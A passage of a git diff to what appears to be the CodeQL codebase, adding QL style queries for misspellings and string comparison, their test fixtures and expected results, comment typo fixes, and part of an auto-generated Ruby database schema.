-  exists(string className, string constantName |
-    pred.getParent().getName() = className and
-    pred.getName() = "getAPrimaryQlClass" and
+  c = pred.getParent() and
+  pred.getName() = "getAPrimaryQlClass" and
+  exists(string constantName |
     constant = pred.getBody().(ComparisonFormula).getRightOperand() and
     constant.getValue() = constantName and
     // might be "Foo::classname", detect by matching with a regexp
-    not constantName.regexpMatch(".*\\b" + className + "$") and
+    not constantName.regexpMatch(".*\\b" + getAnAllowedResultForClass(c) + "$") and
     // ignore constants with "?" in them
     not constantName.regexpMatch(".*\\?.*")
   )
 select pred,
-  "The getAPrimaryQlClass predicate $@ instead of the class name \"" + pred.getParent().getName() +
-    "\".", constant, "results in \"" + constant.getValue() + "\""
+  "The getAPrimaryQlClass predicate $@ instead of the class name \"" + c.getName() + "\".",
+  constant, "results in \"" + constant.getValue() + "\""
diff --git a/ql/ql/src/queries/style/Misspelling.ql b/ql/ql/src/queries/style/Misspelling.ql
new file mode 100644
index 00000000000..2d7860513d8
--- /dev/null
+++ b/ql/ql/src/queries/style/Misspelling.ql
@@ -0,0 +1,18 @@
+/**
+ * @name Misspelling
+ * @description Names and comments in QL should use US spelling and avoid common misspellings.
+ * @kind problem
+ * @problem.severity warning
+ * @id ql/misspelling
+ * @tags maintainability
+ * @precision very-high
+ */
+
+import ql
+import codeql_ql.style.MisspellingQuery
+
+from AstNode node, string nodeKind, string wrong, string right, string mistake
+where misspelled_element(node, nodeKind, wrong, right, mistake)
+select node,
+  "This " + nodeKind + " contains the " + mistake + " '" + wrong + "', which should instead be '" +
+    right + "'."
diff --git a/ql/ql/src/queries/style/NameCasing.ql b/ql/ql/src/queries/style/NameCasing.ql
index 330933149f4..e9cfb46c145 100644
--- a/ql/ql/src/queries/style/NameCasing.ql
+++ b/ql/ql/src/queries/style/NameCasing.ql
@@ -10,14 +10,15 @@
 
 import ql
 import codeql_ql.style.AcronymsShouldBeCamelCaseQuery as AcronymsQuery
+import codeql_ql.style.NodeName as NodeName
 
 predicate shouldBeUpperCase(AstNode node, string name, string kind) {
-  name = AcronymsQuery::getName(node, kind) and
+  name = NodeName::getName(node, kind) and
   kind = ["class", "newtypeBranch", "newtype", "module", "import"]
 }
 
 predicate shouldBeLowerCase(AstNode node, string name, string kind) {
-  name = AcronymsQuery::getName(node, kind) and
+  name = NodeName::getName(node, kind) and
   not shouldBeUpperCase(node, name, kind)
 }
 
diff --git a/ql/ql/src/queries/style/OverridingParameterName.ql b/ql/ql/src/queries/style/OverridingParameterName.ql
index 6973c046ae0..5d61072abc4 100644
--- a/ql/ql/src/queries/style/OverridingParameterName.ql
+++ b/ql/ql/src/queries/style/OverridingParameterName.ql
@@ -1,5 +1,5 @@
 /**
- * @name Using a different paramater name than used in the super-predicate.
+ * @name Using a different parameter name than used in the super-predicate.
  * @description Using another parameter can be an indication of copy-pasted code, or a mistake.
  * @kind problem
  * @problem.severity warning
diff --git a/ql/ql/src/queries/style/UseStringComp.ql b/ql/ql/src/queries/style/UseStringComp.ql
new file mode 100644
index 00000000000..7de268a7073
--- /dev/null
+++ b/ql/ql/src/queries/style/UseStringComp.ql
@@ -0,0 +1,31 @@
+/**
+ * @name Use of regexp to match a set of constant string
+ * @description Comparing against constant strings instead of a regexp can improve performance
+ * @kind problem
+ * @problem.severity recommendation
+ * @id ql/use-string-compare
+ * @tags maintainability
+ * @precision high
+ */
+
+import ql
+import codeql_ql.ast.internal.Type
+
+predicate problem(MemberCall call) {
+  call.getBase().getType().getASuperType*().(PrimitiveType).getName() = "string" and
+  (
+    call.getMemberName() = "regexpMatch" and
+    call.getNumberOfArguments() = 1 and
+    call.getArgument(0).(String).getValue().regexpMatch("([a-zA-Z0-9]+\\|)*[a-zA-Z0-9]+")
+    or
+    exists(string reg | call.getMemberName() = "matches" |
+      call.getNumberOfArguments() = 1 and
+      reg = call.getArgument(0).(String).getValue() and
+      not reg.regexpMatch(".*(%|_).*")
+    )
+  )
+}
+
+from AstNode node
+where problem(node)
+select node, "Use string comparison instead of regexp to compare against a constant set of string."
diff --git a/ql/ql/src/queries/style/docs/NonUSSpelling.ql b/ql/ql/src/queries/style/docs/NonUSSpelling.ql
deleted file mode 100644
index 8d71eeaed74..00000000000
--- a/ql/ql/src/queries/style/docs/NonUSSpelling.ql
+++ /dev/null
@@ -1,18 +0,0 @@
-/**
- * @name Non US spelling
- * @description QLDocs shold use US spelling.
- * @kind problem
- * @problem.severity warning
- * @id ql/non-us-spelling
- * @tags maintainability
- * @precision very-high
- */
-
-import ql
-import codeql_ql.style.docs.NonUSSpellingQuery
-
-from QLDoc doc, string wrong, string right
-where contains_non_us_spelling(doc.getContents().toLowerCase(), wrong, right)
-select doc,
-  "This QLDoc comment contains the non-US spelling '" + wrong + "', which should instead be '" +
-    right + "'."
diff --git a/ql/ql/test/TestUtilities/InlineExpectationsTest.qll b/ql/ql/test/TestUtilities/InlineExpectationsTest.qll
index a4d264b2703..3891fcf13a1 100644
--- a/ql/ql/test/TestUtilities/InlineExpectationsTest.qll
+++ b/ql/ql/test/TestUtilities/InlineExpectationsTest.qll
@@ -181,7 +181,7 @@ private string expectationCommentPattern() { result = "\\s*\\$((?:[^/]|/[^/])*)(
 /**
  * The possible columns in an expectation comment. The `TDefaultColumn` branch represents the first
  * column in a comment. This column is not precedeeded by a name. `TNamedColumn(name)` represents a
- * column containing expected results preceeded by the string `name:`.
+ * column containing expected results preceded by the string `name:`.
  */
 private newtype TColumn =
   TDefaultColumn() or
diff --git a/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll b/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll
index 9fde97a3544..2a1bc76711e 100644
--- a/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll
+++ b/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll
@@ -69,7 +69,7 @@ predicate mixed1(Big good, Small small) {
   good =
     any(Big bad |
       small.toString().matches("%foo") and
-      // the use of good is fine, the comparison futher up binds it.
+      // the use of good is fine, the comparison further up binds it.
       // the same is not true for bad.
       (bad.toString().matches("%foo") or good.toString().regexpMatch("foo.*")) and
       small.toString().regexpMatch(".*foo")
diff --git a/ql/ql/test/queries/style/Misspelling/Misspelling.expected b/ql/ql/test/queries/style/Misspelling/Misspelling.expected
new file mode 100644
index 00000000000..dc028c412d8
--- /dev/null
+++ b/ql/ql/test/queries/style/Misspelling/Misspelling.expected
@@ -0,0 +1,6 @@
+| Test.qll:1:1:3:3 | QLDoc | This QLDoc comment contains the common misspelling 'mispelled', which should instead be 'misspelled'. |
+| Test.qll:4:1:11:1 | Class PublicallyAccessible | This class name contains the common misspelling 'publically', which should instead be 'publicly'. |
+| Test.qll:5:3:5:20 | FieldDecl | This field name contains the common misspelling 'occurences', which should instead be 'occurrences'. |
+| Test.qll:10:3:10:36 | ClassPredicate hasAgrument | This classPredicate name contains the common misspelling 'agrument', which should instead be 'argument'. |
+| Test.qll:13:1:16:3 | QLDoc | This QLDoc comment contains the non-US spelling 'colour', which should instead be 'color'. |
+| Test.qll:17:1:22:1 | Class AnalysedInt | This class name contains the non-US spelling 'analysed', which should instead be 'analyzed'. |
diff --git a/ql/ql/test/queries/style/Misspelling/Misspelling.qlref b/ql/ql/test/queries/style/Misspelling/Misspelling.qlref
new file mode 100644
index 00000000000..afbcaf951f3
--- /dev/null
+++ b/ql/ql/test/queries/style/Misspelling/Misspelling.qlref
@@ -0,0 +1 @@
+queries/style/Misspelling.ql
\ No newline at end of file
diff --git a/ql/ql/test/queries/style/Misspelling/Test.qll b/ql/ql/test/queries/style/Misspelling/Test.qll
new file mode 100644
index 00000000000..f49f4633c6b
--- /dev/null
+++ b/ql/ql/test/queries/style/Misspelling/Test.qll
@@ -0,0 +1,22 @@
+/**
+ * A string that's deliberately mispelled (and so is that last word).
+ */
+class PublicallyAccessible extends string {
+  int numOccurences; // should be 'occurrences'
+
+  PublicallyAccessible() { this = "publically" and numOccurences = 123 }
+
+  // should be argument
+  predicate hasAgrument() { none() }
+}
+
+/**
+ * A class whose name contains a British-English spelling.
+ * And here's the word 'colour'.
+ */
+class AnalysedInt extends int {
+  AnalysedInt() { this = 7 }
+
+  // 'analyses' should not be flagged
+  int numAnalyses() { result = 1 }
+}
diff --git a/ruby/Cargo.lock b/ruby/Cargo.lock
index dafdc4137e1..8d539255d93 100644
Binary files a/ruby/Cargo.lock and b/ruby/Cargo.lock differ
diff --git a/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/old.dbscheme b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/old.dbscheme
new file mode 100644
index 00000000000..1199e154f5e
--- /dev/null
+++ b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/old.dbscheme
@@ -0,0 +1,1417 @@
+// CodeQL database schema for Ruby
+// Automatically generated from the tree-sitter grammar; do not edit
+
+@location = @location_default
+
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int start_line: int ref,
+  int start_column: int ref,
+  int end_line: int ref,
+  int end_column: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @file | @folder
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+sourceLocationPrefix(
+  string prefix: string ref
+);
+
+diagnostics(
+  unique int id: @diagnostic,
+  int severity: int ref,
+  string error_tag: string ref,
+  string error_message: string ref,
+  string full_error_message: string ref,
+  int location: @location_default ref
+);
+
+case @diagnostic.severity of
+  10 = @diagnostic_debug
+| 20 = @diagnostic_info
+| 30 = @diagnostic_warning
+| 40 = @diagnostic_error
+;
+
+
+@ruby_underscore_arg = @ruby_assignment | @ruby_binary | @ruby_conditional | @ruby_operator_assignment | @ruby_range | @ruby_unary | @ruby_underscore_primary
+
+@ruby_underscore_call_operator = @ruby_reserved_word
+
+@ruby_underscore_expression = @ruby_assignment | @ruby_binary | @ruby_break | @ruby_call | @ruby_next | @ruby_operator_assignment | @ruby_return | @ruby_unary | @ruby_underscore_arg | @ruby_yield
+
+@ruby_underscore_lhs = @ruby_call | @ruby_element_reference | @ruby_scope_resolution | @ruby_token_false | @ruby_token_nil | @ruby_token_true | @ruby_underscore_variable
+
+@ruby_underscore_method_name = @ruby_delimited_symbol | @ruby_setter | @ruby_token_constant | @ruby_token_identifier | @ruby_token_operator | @ruby_token_simple_symbol | @ruby_underscore_nonlocal_variable
+
+@ruby_underscore_nonlocal_variable = @ruby_token_class_variable | @ruby_token_global_variable | @ruby_token_instance_variable
+
+@ruby_underscore_pattern_constant = @ruby_scope_resolution | @ruby_token_constant
+
+@ruby_underscore_pattern_expr = @ruby_alternative_pattern | @ruby_as_pattern | @ruby_underscore_pattern_expr_basic
+
+@ruby_underscore_pattern_expr_basic = @ruby_array_pattern | @ruby_expression_reference_pattern | @ruby_find_pattern | @ruby_hash_pattern | @ruby_parenthesized_pattern | @ruby_range | @ruby_token_identifier | @ruby_underscore_pattern_constant | @ruby_underscore_pattern_primitive | @ruby_variable_reference_pattern
+
+@ruby_underscore_pattern_primitive = @ruby_delimited_symbol | @ruby_lambda | @ruby_regex | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_symbol_array | @ruby_token_encoding | @ruby_token_false | @ruby_token_file | @ruby_token_heredoc_beginning | @ruby_token_line | @ruby_token_nil | @ruby_token_self | @ruby_token_simple_symbol | @ruby_token_true | @ruby_unary | @ruby_underscore_simple_numeric
+
+@ruby_underscore_pattern_top_expr_body = @ruby_array_pattern | @ruby_find_pattern | @ruby_hash_pattern | @ruby_underscore_pattern_expr
+
+@ruby_underscore_primary = @ruby_array | @ruby_begin | @ruby_break | @ruby_call | @ruby_case__ | @ruby_case_match | @ruby_chained_string | @ruby_class | @ruby_delimited_symbol | @ruby_for | @ruby_hash | @ruby_if | @ruby_lambda | @ruby_method | @ruby_module | @ruby_next | @ruby_parenthesized_statements | @ruby_redo | @ruby_regex | @ruby_retry | @ruby_return | @ruby_singleton_class | @ruby_singleton_method | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_symbol_array | @ruby_token_character | @ruby_token_heredoc_beginning | @ruby_token_simple_symbol | @ruby_unary | @ruby_underscore_lhs | @ruby_underscore_simple_numeric | @ruby_unless | @ruby_until | @ruby_while | @ruby_yield
+
+@ruby_underscore_simple_numeric = @ruby_complex | @ruby_rational | @ruby_token_float | @ruby_token_integer
+
+@ruby_underscore_statement = @ruby_alias | @ruby_begin_block | @ruby_end_block | @ruby_if_modifier | @ruby_rescue_modifier | @ruby_undef | @ruby_underscore_expression | @ruby_unless_modifier | @ruby_until_modifier | @ruby_while_modifier
+
+@ruby_underscore_variable = @ruby_token_constant | @ruby_token_identifier | @ruby_token_self | @ruby_token_super | @ruby_underscore_nonlocal_variable
+
+ruby_alias_def(
+  unique int id: @ruby_alias,
+  int alias: @ruby_underscore_method_name ref,
+  int name: @ruby_underscore_method_name ref
+);
+
+#keyset[ruby_alternative_pattern, index]
+ruby_alternative_pattern_alternatives(
+  int ruby_alternative_pattern: @ruby_alternative_pattern ref,
+  int index: int ref,
+  unique int alternatives: @ruby_underscore_pattern_expr_basic ref
+);
+
+ruby_alternative_pattern_def(
+  unique int id: @ruby_alternative_pattern
+);
+
+@ruby_argument_list_child_type = @ruby_block_argument | @ruby_hash_splat_argument | @ruby_pair | @ruby_splat_argument | @ruby_token_forward_argument | @ruby_underscore_expression
+
+#keyset[ruby_argument_list, index]
+ruby_argument_list_child(
+  int ruby_argument_list: @ruby_argument_list ref,
+  int index: int ref,
+  unique int child: @ruby_argument_list_child_type ref
+);
+
+ruby_argument_list_def(
+  unique int id: @ruby_argument_list
+);
+
+@ruby_array_child_type = @ruby_block_argument | @ruby_hash_splat_argument | @ruby_pair | @ruby_splat_argument | @ruby_token_forward_argument | @ruby_underscore_expression
+
+#keyset[ruby_array, index]
+ruby_array_child(
+  int ruby_array: @ruby_array ref,
+  int index: int ref,
+  unique int child: @ruby_array_child_type ref
+);
+
+ruby_array_def(
+  unique int id: @ruby_array
+);
+
+ruby_array_pattern_class(
+  unique int ruby_array_pattern: @ruby_array_pattern ref,
+  unique int class: @ruby_underscore_pattern_constant ref
+);
+
+@ruby_array_pattern_child_type = @ruby_splat_parameter | @ruby_underscore_pattern_expr
+
+#keyset[ruby_array_pattern, index]
+ruby_array_pattern_child(
+  int ruby_array_pattern: @ruby_array_pattern ref,
+  int index: int ref,
+  unique int child: @ruby_array_pattern_child_type ref
+);
+
+ruby_array_pattern_def(
+  unique int id: @ruby_array_pattern
+);
+
+ruby_as_pattern_def(
+  unique int id: @ruby_as_pattern,
+  int name: @ruby_token_identifier ref,
+  int value: @ruby_underscore_pattern_expr ref
+);
+
+@ruby_assignment_left_type = @ruby_left_assignment_list | @ruby_underscore_lhs
+
+@ruby_assignment_right_type = @ruby_rescue_modifier | @ruby_right_assignment_list | @ruby_splat_argument | @ruby_underscore_expression
+
+ruby_assignment_def(
+  unique int id: @ruby_assignment,
+  int left: @ruby_assignment_left_type ref,
+  int right: @ruby_assignment_right_type ref
+);
+
+@ruby_bare_string_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_bare_string, index]
+ruby_bare_string_child(
+  int ruby_bare_string: @ruby_bare_string ref,
+  int index: int ref,
+  unique int child: @ruby_bare_string_child_type ref
+);
+
+ruby_bare_string_def(
+  unique int id: @ruby_bare_string
+);
+
+@ruby_bare_symbol_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_bare_symbol, index]
+ruby_bare_symbol_child(
+  int ruby_bare_symbol: @ruby_bare_symbol ref,
+  int index: int ref,
+  unique int child: @ruby_bare_symbol_child_type ref
+);
+
+ruby_bare_symbol_def(
+  unique int id: @ruby_bare_symbol
+);
+
+@ruby_begin_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_begin, index]
+ruby_begin_child(
+  int ruby_begin: @ruby_begin ref,
+  int index: int ref,
+  unique int child: @ruby_begin_child_type ref
+);
+
+ruby_begin_def(
+  unique int id: @ruby_begin
+);
+
+@ruby_begin_block_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_begin_block, index]
+ruby_begin_block_child(
+  int ruby_begin_block: @ruby_begin_block ref,
+  int index: int ref,
+  unique int child: @ruby_begin_block_child_type ref
+);
+
+ruby_begin_block_def(
+  unique int id: @ruby_begin_block
+);
+
+@ruby_binary_left_type = @ruby_underscore_expression | @ruby_underscore_simple_numeric
+
+case @ruby_binary.operator of
+  0 = @ruby_binary_bangequal
+| 1 = @ruby_binary_bangtilde
+| 2 = @ruby_binary_percent
+| 3 = @ruby_binary_ampersand
+| 4 = @ruby_binary_ampersandampersand
+| 5 = @ruby_binary_star
+| 6 = @ruby_binary_starstar
+| 7 = @ruby_binary_plus
+| 8 = @ruby_binary_minus
+| 9 = @ruby_binary_slash
+| 10 = @ruby_binary_langle
+| 11 = @ruby_binary_langlelangle
+| 12 = @ruby_binary_langleequal
+| 13 = @ruby_binary_langleequalrangle
+| 14 = @ruby_binary_equalequal
+| 15 = @ruby_binary_equalequalequal
+| 16 = @ruby_binary_equaltilde
+| 17 = @ruby_binary_rangle
+| 18 = @ruby_binary_rangleequal
+| 19 = @ruby_binary_ranglerangle
+| 20 = @ruby_binary_caret
+| 21 = @ruby_binary_and
+| 22 = @ruby_binary_or
+| 23 = @ruby_binary_pipe
+| 24 = @ruby_binary_pipepipe
+;
+
+
+ruby_binary_def(
+  unique int id: @ruby_binary,
+  int left: @ruby_binary_left_type ref,
+  int operator: int ref,
+  int right: @ruby_underscore_expression ref
+);
+
+ruby_block_parameters(
+  unique int ruby_block: @ruby_block ref,
+  unique int parameters: @ruby_block_parameters ref
+);
+
+@ruby_block_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_block, index]
+ruby_block_child(
+  int ruby_block: @ruby_block ref,
+  int index: int ref,
+  unique int child: @ruby_block_child_type ref
+);
+
+ruby_block_def(
+  unique int id: @ruby_block
+);
+
+ruby_block_argument_child(
+  unique int ruby_block_argument: @ruby_block_argument ref,
+  unique int child: @ruby_underscore_arg ref
+);
+
+ruby_block_argument_def(
+  unique int id: @ruby_block_argument
+);
+
+ruby_block_parameter_name(
+  unique int ruby_block_parameter: @ruby_block_parameter ref,
+  unique int name: @ruby_token_identifier ref
+);
+
+ruby_block_parameter_def(
+  unique int id: @ruby_block_parameter
+);
+
+#keyset[ruby_block_parameters, index]
+ruby_block_parameters_locals(
+  int ruby_block_parameters: @ruby_block_parameters ref,
+  int index: int ref,
+  unique int locals: @ruby_token_identifier ref
+);
+
+@ruby_block_parameters_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_block_parameters, index]
+ruby_block_parameters_child(
+  int ruby_block_parameters: @ruby_block_parameters ref,
+  int index: int ref,
+  unique int child: @ruby_block_parameters_child_type ref
+);
+
+ruby_block_parameters_def(
+  unique int id: @ruby_block_parameters
+);
+
+ruby_break_child(
+  unique int ruby_break: @ruby_break ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_break_def(
+  unique int id: @ruby_break
+);
+
+ruby_call_arguments(
+  unique int ruby_call: @ruby_call ref,
+  unique int arguments: @ruby_argument_list ref
+);
+
+@ruby_call_block_type = @ruby_block | @ruby_do_block
+
+ruby_call_block(
+  unique int ruby_call: @ruby_call ref,
+  unique int block: @ruby_call_block_type ref
+);
+
+@ruby_call_method_type = @ruby_token_operator | @ruby_underscore_variable
+
+ruby_call_method(
+  unique int ruby_call: @ruby_call ref,
+  unique int method: @ruby_call_method_type ref
+);
+
+ruby_call_operator(
+  unique int ruby_call: @ruby_call ref,
+  unique int operator: @ruby_underscore_call_operator ref
+);
+
+ruby_call_receiver(
+  unique int ruby_call: @ruby_call ref,
+  unique int receiver: @ruby_underscore_primary ref
+);
+
+ruby_call_def(
+  unique int id: @ruby_call
+);
+
+ruby_case_value(
+  unique int ruby_case__: @ruby_case__ ref,
+  unique int value: @ruby_underscore_statement ref
+);
+
+@ruby_case_child_type = @ruby_else | @ruby_when
+
+#keyset[ruby_case__, index]
+ruby_case_child(
+  int ruby_case__: @ruby_case__ ref,
+  int index: int ref,
+  unique int child: @ruby_case_child_type ref
+);
+
+ruby_case_def(
+  unique int id: @ruby_case__
+);
+
+#keyset[ruby_case_match, index]
+ruby_case_match_clauses(
+  int ruby_case_match: @ruby_case_match ref,
+  int index: int ref,
+  unique int clauses: @ruby_in_clause ref
+);
+
+ruby_case_match_else(
+  unique int ruby_case_match: @ruby_case_match ref,
+  unique int else: @ruby_else ref
+);
+
+ruby_case_match_def(
+  unique int id: @ruby_case_match,
+  int value: @ruby_underscore_statement ref
+);
+
+#keyset[ruby_chained_string, index]
+ruby_chained_string_child(
+  int ruby_chained_string: @ruby_chained_string ref,
+  int index: int ref,
+  unique int child: @ruby_string__ ref
+);
+
+ruby_chained_string_def(
+  unique int id: @ruby_chained_string
+);
+
+@ruby_class_name_type = @ruby_scope_resolution | @ruby_token_constant
+
+ruby_class_superclass(
+  unique int ruby_class: @ruby_class ref,
+  unique int superclass: @ruby_superclass ref
+);
+
+@ruby_class_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_class, index]
+ruby_class_child(
+  int ruby_class: @ruby_class ref,
+  int index: int ref,
+  unique int child: @ruby_class_child_type ref
+);
+
+ruby_class_def(
+  unique int id: @ruby_class,
+  int name: @ruby_class_name_type ref
+);
+
+@ruby_complex_child_type = @ruby_rational | @ruby_token_float | @ruby_token_integer
+
+ruby_complex_def(
+  unique int id: @ruby_complex,
+  int child: @ruby_complex_child_type ref
+);
+
+ruby_conditional_def(
+  unique int id: @ruby_conditional,
+  int alternative: @ruby_underscore_arg ref,
+  int condition: @ruby_underscore_arg ref,
+  int consequence: @ruby_underscore_arg ref
+);
+
+@ruby_delimited_symbol_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_delimited_symbol, index]
+ruby_delimited_symbol_child(
+  int ruby_delimited_symbol: @ruby_delimited_symbol ref,
+  int index: int ref,
+  unique int child: @ruby_delimited_symbol_child_type ref
+);
+
+ruby_delimited_symbol_def(
+  unique int id: @ruby_delimited_symbol
+);
+
+@ruby_destructured_left_assignment_child_type = @ruby_destructured_left_assignment | @ruby_rest_assignment | @ruby_underscore_lhs
+
+#keyset[ruby_destructured_left_assignment, index]
+ruby_destructured_left_assignment_child(
+  int ruby_destructured_left_assignment: @ruby_destructured_left_assignment ref,
+  int index: int ref,
+  unique int child: @ruby_destructured_left_assignment_child_type ref
+);
+
+ruby_destructured_left_assignment_def(
+  unique int id: @ruby_destructured_left_assignment
+);
+
+@ruby_destructured_parameter_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_destructured_parameter, index]
+ruby_destructured_parameter_child(
+  int ruby_destructured_parameter: @ruby_destructured_parameter ref,
+  int index: int ref,
+  unique int child: @ruby_destructured_parameter_child_type ref
+);
+
+ruby_destructured_parameter_def(
+  unique int id: @ruby_destructured_parameter
+);
+
+@ruby_do_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_do, index]
+ruby_do_child(
+  int ruby_do: @ruby_do ref,
+  int index: int ref,
+  unique int child: @ruby_do_child_type ref
+);
+
+ruby_do_def(
+  unique int id: @ruby_do
+);
+
+ruby_do_block_parameters(
+  unique int ruby_do_block: @ruby_do_block ref,
+  unique int parameters: @ruby_block_parameters ref
+);
+
+@ruby_do_block_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_do_block, index]
+ruby_do_block_child(
+  int ruby_do_block: @ruby_do_block ref,
+  int index: int ref,
+  unique int child: @ruby_do_block_child_type ref
+);
+
+ruby_do_block_def(
+  unique int id: @ruby_do_block
+);
+
+@ruby_element_reference_child_type = @ruby_block_argument | @ruby_hash_splat_argument | @ruby_pair | @ruby_splat_argument | @ruby_token_forward_argument | @ruby_underscore_expression
+
+#keyset[ruby_element_reference, index]
+ruby_element_reference_child(
+  int ruby_element_reference: @ruby_element_reference ref,
+  int index: int ref,
+  unique int child: @ruby_element_reference_child_type ref
+);
+
+ruby_element_reference_def(
+  unique int id: @ruby_element_reference,
+  int object: @ruby_underscore_primary ref
+);
+
+@ruby_else_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_else, index]
+ruby_else_child(
+  int ruby_else: @ruby_else ref,
+  int index: int ref,
+  unique int child: @ruby_else_child_type ref
+);
+
+ruby_else_def(
+  unique int id: @ruby_else
+);
+
+@ruby_elsif_alternative_type = @ruby_else | @ruby_elsif
+
+ruby_elsif_alternative(
+  unique int ruby_elsif: @ruby_elsif ref,
+  unique int alternative: @ruby_elsif_alternative_type ref
+);
+
+ruby_elsif_consequence(
+  unique int ruby_elsif: @ruby_elsif ref,
+  unique int consequence: @ruby_then ref
+);
+
+ruby_elsif_def(
+  unique int id: @ruby_elsif,
+  int condition: @ruby_underscore_statement ref
+);
+
+@ruby_end_block_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_end_block, index]
+ruby_end_block_child(
+  int ruby_end_block: @ruby_end_block ref,
+  int index: int ref,
+  unique int child: @ruby_end_block_child_type ref
+);
+
+ruby_end_block_def(
+  unique int id: @ruby_end_block
+);
+
+@ruby_ensure_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_ensure, index]
+ruby_ensure_child(
+  int ruby_ensure: @ruby_ensure ref,
+  int index: int ref,
+  unique int child: @ruby_ensure_child_type ref
+);
+
+ruby_ensure_def(
+  unique int id: @ruby_ensure
+);
+
+ruby_exception_variable_def(
+  unique int id: @ruby_exception_variable,
+  int child: @ruby_underscore_lhs ref
+);
+
+@ruby_exceptions_child_type = @ruby_splat_argument | @ruby_underscore_arg
+
+#keyset[ruby_exceptions, index]
+ruby_exceptions_child(
+  int ruby_exceptions: @ruby_exceptions ref,
+  int index: int ref,
+  unique int child: @ruby_exceptions_child_type ref
+);
+
+ruby_exceptions_def(
+  unique int id: @ruby_exceptions
+);
+
+ruby_expression_reference_pattern_def(
+  unique int id: @ruby_expression_reference_pattern,
+  int value: @ruby_underscore_expression ref
+);
+
+ruby_find_pattern_class(
+  unique int ruby_find_pattern: @ruby_find_pattern ref,
+  unique int class: @ruby_underscore_pattern_constant ref
+);
+
+@ruby_find_pattern_child_type = @ruby_splat_parameter | @ruby_underscore_pattern_expr
+
+#keyset[ruby_find_pattern, index]
+ruby_find_pattern_child(
+  int ruby_find_pattern: @ruby_find_pattern ref,
+  int index: int ref,
+  unique int child: @ruby_find_pattern_child_type ref
+);
+
+ruby_find_pattern_def(
+  unique int id: @ruby_find_pattern
+);
+
+@ruby_for_pattern_type = @ruby_left_assignment_list | @ruby_underscore_lhs
+
+ruby_for_def(
+  unique int id: @ruby_for,
+  int body: @ruby_do ref,
+  int pattern: @ruby_for_pattern_type ref,
+  int value: @ruby_in ref
+);
+
+@ruby_hash_child_type = @ruby_hash_splat_argument | @ruby_pair
+
+#keyset[ruby_hash, index]
+ruby_hash_child(
+  int ruby_hash: @ruby_hash ref,
+  int index: int ref,
+  unique int child: @ruby_hash_child_type ref
+);
+
+ruby_hash_def(
+  unique int id: @ruby_hash
+);
+
+ruby_hash_pattern_class(
+  unique int ruby_hash_pattern: @ruby_hash_pattern ref,
+  unique int class: @ruby_underscore_pattern_constant ref
+);
+
+@ruby_hash_pattern_child_type = @ruby_hash_splat_parameter | @ruby_keyword_pattern | @ruby_token_hash_splat_nil
+
+#keyset[ruby_hash_pattern, index]
+ruby_hash_pattern_child(
+  int ruby_hash_pattern: @ruby_hash_pattern ref,
+  int index: int ref,
+  unique int child: @ruby_hash_pattern_child_type ref
+);
+
+ruby_hash_pattern_def(
+  unique int id: @ruby_hash_pattern
+);
+
+ruby_hash_splat_argument_def(
+  unique int id: @ruby_hash_splat_argument,
+  int child: @ruby_underscore_arg ref
+);
+
+ruby_hash_splat_parameter_name(
+  unique int ruby_hash_splat_parameter: @ruby_hash_splat_parameter ref,
+  unique int name: @ruby_token_identifier ref
+);
+
+ruby_hash_splat_parameter_def(
+  unique int id: @ruby_hash_splat_parameter
+);
+
+@ruby_heredoc_body_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_heredoc_content | @ruby_token_heredoc_end
+
+#keyset[ruby_heredoc_body, index]
+ruby_heredoc_body_child(
+  int ruby_heredoc_body: @ruby_heredoc_body ref,
+  int index: int ref,
+  unique int child: @ruby_heredoc_body_child_type ref
+);
+
+ruby_heredoc_body_def(
+  unique int id: @ruby_heredoc_body
+);
+
+@ruby_if_alternative_type = @ruby_else | @ruby_elsif
+
+ruby_if_alternative(
+  unique int ruby_if: @ruby_if ref,
+  unique int alternative: @ruby_if_alternative_type ref
+);
+
+ruby_if_consequence(
+  unique int ruby_if: @ruby_if ref,
+  unique int consequence: @ruby_then ref
+);
+
+ruby_if_def(
+  unique int id: @ruby_if,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_if_guard_def(
